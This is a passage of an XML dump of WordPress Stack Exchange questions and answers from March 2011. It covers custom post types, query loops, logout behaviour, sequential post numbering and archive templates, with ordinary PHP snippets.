  <row Id="13072" PostTypeId="2" ParentId="13069" CreationDate="2011-03-25T16:04:48.910" Score="1" ViewCount="" Body="&lt;p&gt;To load WordPress it is enough to load &quot;wp-load.php&quot; like you did. I don't recognize the wp() function and haven't found it in the source. As other people seem to have the same problem on the internet I guess it has to do with a plugin or a possibly outdated WordPress installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disable all your plugins and see if that resolves the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of curiosity: What is this file for?&lt;/p&gt;&#xA;" OwnerUserId="3701" LastActivityDate="2011-03-25T16:04:48.910" CommentCount="2" />
  <row Id="13073" PostTypeId="2" ParentId="13030" CreationDate="2011-03-25T16:10:25.457" Score="-1" ViewCount="" Body="&lt;p&gt;The Media Library is in its current state indeed a weak area of WordPress. If you only have images as media, I recommend the excellent and popular &lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery/&quot; rel=&quot;nofollow&quot;&gt;NEXTGen-Gallery Plugin&lt;/a&gt;&#xA;Keep in mind though that it lives separate from the original media library.&lt;/p&gt;&#xA;" OwnerUserId="3701" LastActivityDate="2011-03-25T16:10:25.457" />
  <row Id="13074" PostTypeId="1" AcceptedAnswerId="13124" CreationDate="2011-03-25T16:42:48.517" Score="0" ViewCount="172" Body="&lt;p&gt;This is going to sound a little nuts. I have a situation where I'm displaying a list of products that a user selects to move to the products' page. I also have documents and videos that I created custom post types and fields for. I need to run a second loop within the current loop to pull a custom field from a custom post type. If that makes sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example this is the product &quot;directory&quot; loop (pardon my hackish techniques)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;&amp;lt;?php &#xA;    $parent = $post-&amp;gt;ID; &#xA;    query_posts('post_type=page&amp;amp;order=ASC&amp;amp;orderby=title&amp;amp;post_parent='.$parent);?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&amp;lt;?php $model = get_the_title(); ?&amp;gt;&#xA;&amp;lt;div class=&quot;product-selection-container round&quot;&amp;gt;&#xA;    &amp;lt;h2 class=&quot;directory-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;product-main-title&quot;, true); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Model &amp;lt;?php echo $model ?&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;!-- the model --&amp;gt;&#xA;    &amp;lt;?php echo my_excerpts(); ?&amp;gt;&#xA;    &amp;lt;ul class=&quot;round&quot;&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;Learn More&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;Specification Sheet&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;Video Tour&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the loop I generally use to add documents to the pages (excluding the custom loop template)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;        $documents = array('numberposts' =&amp;gt; 5, 'post_type' =&amp;gt; 'documents', 'category_name' =&amp;gt; $model);&#xA;        query_posts( $documents );&#xA;        get_template_part( 'loop', 'documents' );&#xA;        wp_reset_query();&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried combining the two where I would add the second loop to &lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;Specification Sheet&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/code&gt; but that caused the page to run in a perpetual loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative option I was looking for was to pull a single custom field from a post type without creating a loop. For example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get post_type =&amp;gt; document, meta_key =&amp;gt; document-type, meta_value =&amp;gt; spec-sheet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-03-26T08:41:54.827" Title="Pull custom fields from custom posts within a loop" Tags="&lt;custom-field&gt;&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="13075" PostTypeId="2" ParentId="13069" CreationDate="2011-03-25T17:10:15.960" Score="1" ViewCount="" Body="&lt;p&gt;I agree. Usually it's a plugin that causes these issues in my experience. it can be a headache, but disabling all of your plugins, then going through and enabling your plugins one by one will often pinpoint the problem.&lt;/p&gt;&#xA;" OwnerUserId="4218" LastActivityDate="2011-03-25T17:10:15.960" />
  <row Id="13076" PostTypeId="2" ParentId="12989" CreationDate="2011-03-25T17:33:10.580" Score="1" ViewCount="" Body="&lt;p&gt;i like SweetCaptcha.com , they have Wordpress and Joomla plugins &#xA;here is the wordpress:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/sweetcaptcha-revolutionary-free-captcha-service/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/sweetcaptcha-revolutionary-free-captcha-service/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4220" LastActivityDate="2011-03-25T17:33:10.580" />
  <row Id="13077" PostTypeId="1" AcceptedAnswerId="13078" CreationDate="2011-03-25T17:45:43.657" Score="0" ViewCount="129" Body="&lt;p&gt;I have posts and I have recipes. Recipes is a custom post type.  Recipes make use of the category taxonomy and a newly added recipe has been categorized under beer.  When I browse the listing page for the category beer I see all my previous posts categorized under beer while the new recipe does not appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I link custom post types through their taxonomies? Or, how can I show all post types under a single category?&lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-25T17:57:43.737" LastActivityDate="2011-05-21T07:08:13.243" Title="How do I display custom post types through a common taxonomy?" Tags="&lt;custom-post-types&gt;&lt;taxonomy&gt;&lt;link&gt;" AnswerCount="1" />
  <row Id="13078" PostTypeId="2" ParentId="13077" CreationDate="2011-03-25T17:53:45.257" Score="1" ViewCount="" Body="&lt;p&gt;You can use pre_get_posts hook to add your custom post type to the query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function include_recipes( $query ) {&#xA;    if ( $query-&amp;gt;is_category ) {&#xA;        $query-&amp;gt;set( 'post_type', array('post','recipes') );&#xA;    }&#xA;    return $query;&#xA;}&#xA;add_filter( 'pre_get_posts', 'include_recipes' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-25T17:53:45.257" />
  <row Id="13079" PostTypeId="2" ParentId="12989" CreationDate="2011-03-25T18:10:05.103" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;I actually recommend not using a traditional captcha at all.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many usability studies show that complex or image based captchas reduce sign ups by a whopping 25-60% depending on complexity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternatives are:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/registrap/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/registrap/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using simple math question&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/block-spam-by-math/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/block-spam-by-math/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I use  1 hidden field and it works like a charm and no need to squint and some lame image.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-03-26T03:14:14.773" LastActivityDate="2011-03-26T03:14:14.773" CommentCount="4" />
  <row Id="13080" PostTypeId="1" AcceptedAnswerId="13096" CreationDate="2011-03-25T18:19:12.953" Score="-2" ViewCount="255" Body="&lt;p&gt;I see that w3 total cache can't offer CSS sprites.  Is there another plugin that can complement this feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update: I didn't mean that w3 total cache doesn't allow CSS sprites to be used, but that it doesn't generate them automatically as a way to improve sites performance.  My question is what plugins DO offer that capability.&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditorDisplayName="" LastEditDate="2011-03-25T20:52:19.420" LastActivityDate="2011-03-25T22:29:34.723" Title="CSS Sprites with w3 total cache?" Tags="&lt;plugins&gt;&lt;performance&gt;" AnswerCount="2" />
  <row Id="13081" PostTypeId="2" ParentId="13080" CreationDate="2011-03-25T18:56:56.667" Score="4" ViewCount="" Body="&lt;p&gt;I'm not sure how this can be true. A CSS sprite sheet is just a normal image which is then manipulated with CSS. If you can serve both images and CSS with the W3 Total Cache plugin, you can also serve CSS sprites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some more information about using CSS sprite sheets: &lt;a href=&quot;http://www.alistapart.com/articles/sprites&quot; rel=&quot;nofollow&quot;&gt;http://www.alistapart.com/articles/sprites&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2984" LastActivityDate="2011-03-25T18:56:56.667" CommentCount="1" />
  <row Id="13082" PostTypeId="1" AcceptedAnswerId="13092" CreationDate="2011-03-25T20:08:53.437" Score="0" ViewCount="125" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php $my_query = new WP_Query(&quot;cat=1&amp;amp;day=''&amp;amp;posts_per_page=-1&quot;); ?&amp;gt;&#xA;&amp;lt;?php while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to display all posts from a single day on my homepage, restricted by category. The code above is what I'm using, but I've tried a bunch of variations on listing the current day and can't seem to get it to display posts only from the current day. I'm sure I'm missing something completely obvious, but how do I get this working to restrict posts by date? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although getting the homepage figured out is my first challenge, I also want to have my individual day archives set up in a similar way.&lt;/p&gt;&#xA;" OwnerUserId="3903" LastActivityDate="2011-03-25T22:15:17.397" Title="How do I display posts by day?" Tags="&lt;date-time&gt;" AnswerCount="1" />
  <row Id="13083" PostTypeId="1" AcceptedAnswerId="13095" CreationDate="2011-03-25T20:17:57.113" Score="0" ViewCount="202" Body="&lt;p&gt;I am wanting to display the number order of a post.  I tried using&lt;code&gt;&amp;lt;?php the_ID(); ?&amp;gt;&lt;/code&gt; but this just displays the post ID and doesn't seem to do go in sequential order due to post revisions and whatnot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to to display if the post is #2 or #3 or #4 and so on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2289" LastActivityDate="2011-03-25T22:23:01.730" Title="Display post number not post ID number" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="13084" PostTypeId="1" CreationDate="2011-03-25T20:19:25.143" Score="0" ViewCount="114" Body="&lt;p&gt;I would like create a plug in that adds a panel of options to edit post page like the one added by All in One Seo but i cant find any good tutorial of any information about what is the correct action of filter tu use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you point me in the right direction? snippet?&lt;/p&gt;&#xA;" OwnerUserId="4223" LastEditorUserId="4223" LastEditorDisplayName="" LastEditDate="2011-03-25T20:32:26.307" LastActivityDate="2011-08-02T13:07:24.767" Title="Add a panel to edit post" Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;editor&gt;" AnswerCount="2" />
  <row Id="13085" PostTypeId="2" ParentId="13068" CreationDate="2011-03-25T20:45:15.743" Score="0" ViewCount="" Body="&lt;p&gt;AFAIK, you'll have to write your own custom walker to remove those pesky classes and IDs. I can see about writing something out for you (it's on my own to-do list), but this might help you get started: &lt;a href=&quot;http://www.kriesi.at/archives/improve-your-wordpress-navigation-menu-output/&quot; rel=&quot;nofollow&quot;&gt;http://www.kriesi.at/archives/improve-your-wordpress-navigation-menu-output/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-03-25T20:45:15.743" />
  <row Id="13086" PostTypeId="1" AcceptedAnswerId="13102" CreationDate="2011-03-25T20:55:41.577" Score="0" ViewCount="77" Body="&lt;p&gt;Basically, I want to allow the user to select which template files he or she wants to use in a post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;single-asc.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $custom_posts = new WP_Query(); ?&amp;gt;&#xA;            &amp;lt;?php $custom_posts-&amp;gt;query('post_type=bbp_topic&amp;amp;order=ASC'); ?&amp;gt;&#xA;            &amp;lt;?php while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post(); ?&amp;gt;&#xA;                &amp;lt;div class=&quot;content-block-2&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;single-desc.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php $custom_posts = new WP_Query(); ?&amp;gt;&#xA;        &amp;lt;?php $custom_posts-&amp;gt;query('post_type=bbp_topic&amp;amp;order=DESC'); ?&amp;gt;&#xA;        &amp;lt;?php while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post(); ?&amp;gt;&#xA;            &amp;lt;div class=&quot;content-block-2&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, the user can choose (maybe by clicking a link) to see a post with the &lt;code&gt;single-asc.php&lt;/code&gt; template file or &lt;code&gt;single-desc.php&lt;/code&gt; template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(the ASC and DESC example is just for reference, these two templates will have different code)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-26T01:01:44.747" Title="Is it possible to give the user the chance to select between two single template files to use in a post?" Tags="&lt;posts&gt;&lt;template&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="13087" PostTypeId="1" AcceptedAnswerId="13093" CreationDate="2011-03-25T21:01:48.650" Score="0" ViewCount="126" Body="&lt;p&gt;Here is what I'm doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_logout();&#xA;var_dump(is_user_logged_in());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;var_dump returns: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool(true)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is wp_logout() not logging me out?&lt;/p&gt;&#xA;" OwnerUserId="4224" LastActivityDate="2011-03-25T21:58:14.457" Title="wp_logout Not Logging Me Out" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="13088" PostTypeId="1" AcceptedAnswerId="13139" CreationDate="2011-03-25T21:02:55.687" Score="0" ViewCount="225" Body="&lt;p&gt;I have a blog on wordpress.com in which I make use of the Twenty Ten theme. For each Post I can set a Featured image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Wordpress.com that image is then displayed in the header above the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to gain the same for a Wordpress.org setup. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-25T22:44:45.283" LastActivityDate="2011-03-26T13:33:55.233" Title="Use Featured Image of Post as Header Image" Tags="&lt;post-thumbnails&gt;&lt;theme-twenty-ten&gt;&lt;header&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="13089" PostTypeId="2" ParentId="13044" CreationDate="2011-03-25T21:25:40.490" Score="0" ViewCount="" Body="&lt;p&gt;you could use this plugin: &lt;a href=&quot;http://www.ambrosite.com/plugins/next-previous-post-link-plus-for-wordpress&quot; rel=&quot;nofollow&quot;&gt;post link plus&lt;/a&gt;. Has many additional configuration options that can come in handy for post navigation. &lt;/p&gt;&#xA;" OwnerUserId="3520" LastActivityDate="2011-03-25T21:25:40.490" />
  <row Id="13090" PostTypeId="1" CreationDate="2011-03-25T21:36:48.383" Score="0" ViewCount="60" Body="&lt;p&gt;I've got a routine (see below) that creates and inserts several widgets into the active theme's sidebars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I need more control over either the order/index the are assigned (ie, one of my widgets need to be at the top of any other widgets in the sidebar) OR, I need to be able to specify a custom css name for the widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've inserted a comment to catch the widget titled &quot;my important widget&quot; and apply the index or custom css I'll need to assign to that widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are either of these possible?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$file_name_widget = $files_widgets-&amp;gt;getPathname();&#xA;$widget_text = file_get_contents($file_name_widget);&#xA;$widget_text_label = 'text';&#xA;$widget_ops = get_option('widget_text', array());&#xA;$widget_id = count($widget_ops) + 1;&#xA;if($file_name_widget == 'my important widget') {&#xA;    //place code here to make this widget move to the top of any others in the sidebar its assigned to&#xA;    }&#xA;$widget_ops[$widget_id] = array('title' =&amp;gt; $files_widgets-&amp;gt;getBasename('.txt'),'text' =&amp;gt; $widget_text,);&#xA;update_option('widget_text', $widget_ops);                  &#xA;$sidebar_id = basename($files_widgets-&amp;gt;getPath());&#xA;$sidebars_widgets = get_option('sidebars_widgets', array());&#xA;$sidebars_widgets[$sidebar_id][] = $widget_text_label.&quot;-&quot;.$widget_id;&#xA;update_option('sidebars_widgets', $sideb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-08-25T15:34:42.997" Title="How to specify widget order or css name via script?" Tags="&lt;plugin-development&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="13092" PostTypeId="2" ParentId="13082" CreationDate="2011-03-25T21:51:00.793" Score="0" ViewCount="" Body="&lt;p&gt;You'd have to specify day, month, and year to get today's posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_query = new WP_Query( array(&#xA;    'cat'=&amp;gt;1,&#xA;    'year'=&amp;gt;date('Y'),&#xA;    'monthnum'=&amp;gt;date('m'),&#xA;    'day'=&amp;gt;date('d'),&#xA;    'posts_per_page'=&amp;gt;-1 ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Leaving day blank just doesn't set that query var, so its not restricting your query at all.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-03-25T22:15:17.397" LastActivityDate="2011-03-25T22:15:17.397" CommentCount="1" />
  <row Id="13093" PostTypeId="2" ParentId="13087" CreationDate="2011-03-25T21:58:14.457" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;wp_logout()&lt;/strong&gt; calls &lt;a href=&quot;http://lab.yukei.net/wp-code/wp-includes/pluggable.php.source.html#l709&quot; rel=&quot;nofollow&quot;&gt;clear_auth_cookie()&lt;/a&gt;, which expires all authorization cookies set. It doesn't change the value of the global &lt;strong&gt;$current_user&lt;/strong&gt; variable. So technically you're still logged in for the duration of the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using &lt;code&gt;wp_logout&lt;/code&gt; in your own code, its probably best to &lt;code&gt;exit&lt;/code&gt; or &lt;code&gt;wp_redirect&lt;/code&gt; immediately afterwards.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-25T21:58:14.457" CommentCount="2" />
  <row Id="13094" PostTypeId="2" ParentId="13084" CreationDate="2011-03-25T22:07:46.760" Score="1" ViewCount="" Body="&lt;p&gt;What you're looking for is a &lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;meta box&lt;/a&gt;&lt;/strong&gt;. There's a decent example on the Codex page, or try looking up tutorials. Here's a very good one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wptheming.com/2010/08/custom-metabox-for-post-type/&quot; rel=&quot;nofollow&quot;&gt;http://wptheming.com/2010/08/custom-metabox-for-post-type/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-25T22:07:46.760" />
  <row Id="13095" PostTypeId="2" ParentId="13083" CreationDate="2011-03-25T22:23:01.730" Score="1" ViewCount="" Body="&lt;p&gt;Post ID's aren't meant to be sequential. To number your posts sequentially, you'd have to use a meta field. There was discussion of this while back on this question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1069/change-permalinks-structure-to-a-sequential-number-for-each-post&quot;&gt;Change Permalinks Structure to a Sequential Number for Each Post?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the best answer for what you're looking to do seemed to be a snippet of code posted on the support forums:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/display-sequential-post-numbercount-not-post-id&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/display-sequential-post-numbercount-not-post-id&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function updateNumbers() {&#xA;    /* numbering the published posts, starting with 1 for oldest;&#xA;    / creates and updates custom field 'incr_number';&#xA;    / to show in post (within the loop) use &amp;lt;?php echo get_post_meta($post-&amp;gt;ID,'incr_number',true); ?&amp;gt;&#xA;    / alchymyth 2010 */&#xA;    global $wpdb;&#xA;    $querystr = &quot;SELECT $wpdb-&amp;gt;posts.* FROM $wpdb-&amp;gt;posts &#xA;                 WHERE $wpdb-&amp;gt;posts.post_status = 'publish' &#xA;                 AND $wpdb-&amp;gt;posts.post_type = 'post' &#xA;                 ORDER BY $wpdb-&amp;gt;posts.post_date ASC&quot;;&#xA;    $pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;    $counts = 0 ;&#xA;    if ($pageposts):&#xA;    foreach ($pageposts as $post):&#xA;        $counts++;&#xA;        add_post_meta($post-&amp;gt;ID, 'incr_number', $counts, true);&#xA;        update_post_meta($post-&amp;gt;ID, 'incr_number', $counts);&#xA;    endforeach;&#xA;endif;&#xA;}  &#xA;&#xA;add_action ( 'publish_post', 'updateNumbers', 11 );&#xA;add_action ( 'deleted_post', 'updateNumbers' );&#xA;add_action ( 'edit_post', 'updateNumbers' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I modified it very slightly to sort by post date, rather than just ID as the initial code did.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will hook into all post actions (save/publish/delete) and update the 'incr_number' custom field for all posts. So you'll have a performance lag on saving posts when you have a large number in the database, but once the posts are saved, showing the number is as simple as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_post_meta( $post-&amp;gt;ID, 'incr_number', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-25T22:23:01.730" CommentCount="1" />
  <row Id="13096" PostTypeId="2" ParentId="13080" CreationDate="2011-03-25T22:29:34.723" Score="0" ViewCount="" Body="&lt;p&gt;Are you asking about how to create css sprites? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;a href=&quot;http://spritegen.website-performance.org/&quot; rel=&quot;nofollow&quot;&gt;http://spritegen.website-performance.org/&lt;/a&gt; if the manual way seems too time-consuming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But yeah, not really a WordPress question.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-25T22:29:34.723" />
  <row Id="13097" PostTypeId="1" CreationDate="2011-03-25T23:05:31.570" Score="0" ViewCount="130" Body="&lt;p&gt;I am building my &lt;a href=&quot;http://mfreitas.no-ip.org/mfreitas&quot; rel=&quot;nofollow&quot;&gt;blog/portfolio&lt;/a&gt; site using Wordpress and Steve Heffernan's HTML5 Boilerplate starter theme for Wordpress. Everything was going smoothly until i implemented a &lt;a href=&quot;http://www.cssstickyfooter.com/using-sticky-footer-code.html&quot; rel=&quot;nofollow&quot;&gt;sticky footer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to work fine on the main blog page, even with 3 or more posts on it. When i click to view a single post, and if that post has long content the footer breaks, the #wrap div is suddenly taking a weird height. If you check the first post with small content the footer kinda holds on, but post's 2 and 3 completely break the footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone has any clue of whats going on i'd appreciate any help. I'm going nuts with this sticky footer for some days now. The lack of experience makes it worse.&lt;/p&gt;&#xA;" OwnerUserId="4225" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-26T02:40:49.777" LastActivityDate="2011-03-26T02:40:49.777" Title="Sticky Footer breaks if single post content is too big" Tags="&lt;css&gt;&lt;html5&gt;" CommentCount="3" />
  <row Id="13098" PostTypeId="1" AcceptedAnswerId="13099" CreationDate="2011-03-25T23:24:33.050" Score="1" ViewCount="191" Body="&lt;p&gt;I'd like to display daily archives differently than monthly/yearly archives. How do I check to see if the archive template is being pulled for a daily archive vs. a monthly/yearly archive?&lt;/p&gt;&#xA;" OwnerUserId="3903" LastActivityDate="2011-03-26T17:20:22.633" Title="Displaying year, month and day archives differently" Tags="&lt;archive&gt;&lt;date-time&gt;" AnswerCount="1" />
  <row Id="13099" PostTypeId="2" ParentId="13098" CreationDate="2011-03-25T23:40:01.180" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;Conditional tags&lt;/a&gt;&lt;/strong&gt; FTW.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_month&quot; rel=&quot;nofollow&quot;&gt;is_month()&lt;/a&gt; : Currently viewing a monthly archive&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_day&quot; rel=&quot;nofollow&quot;&gt;is_day()&lt;/a&gt; : Currently viewing a single day archive&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_year&quot; rel=&quot;nofollow&quot;&gt;is_year()&lt;/a&gt; : Currently viewing a yearly archive&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_time&quot; rel=&quot;nofollow&quot;&gt;is_time()&lt;/a&gt; : Currently viewing a time-based archive (hourly, minute, or even seconds)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So to test for each of these conditions, add something like this to your &lt;strong&gt;archive.php&lt;/strong&gt; (or whatever template is being used for your archive pages):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check what posts were returned in order to find what date the archive is for&#xA;global $posts; &#xA;$archivedate = strtotime( $posts[0]-&amp;gt;post_date);&#xA;if (is_day()) {&#xA;    echo &quot;Daily archive: &quot;.date('m/d/Y', $archivedate);&#xA;} else if (is_month()) {&#xA;    echo &quot;Monthly archive: &quot;.date('F Y', $archivedate);&#xA;} else if (is_year()) {&#xA;    echo &quot;Yearly archive: &quot;.date('Y', $archivedate);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-03-26T17:20:22.633" 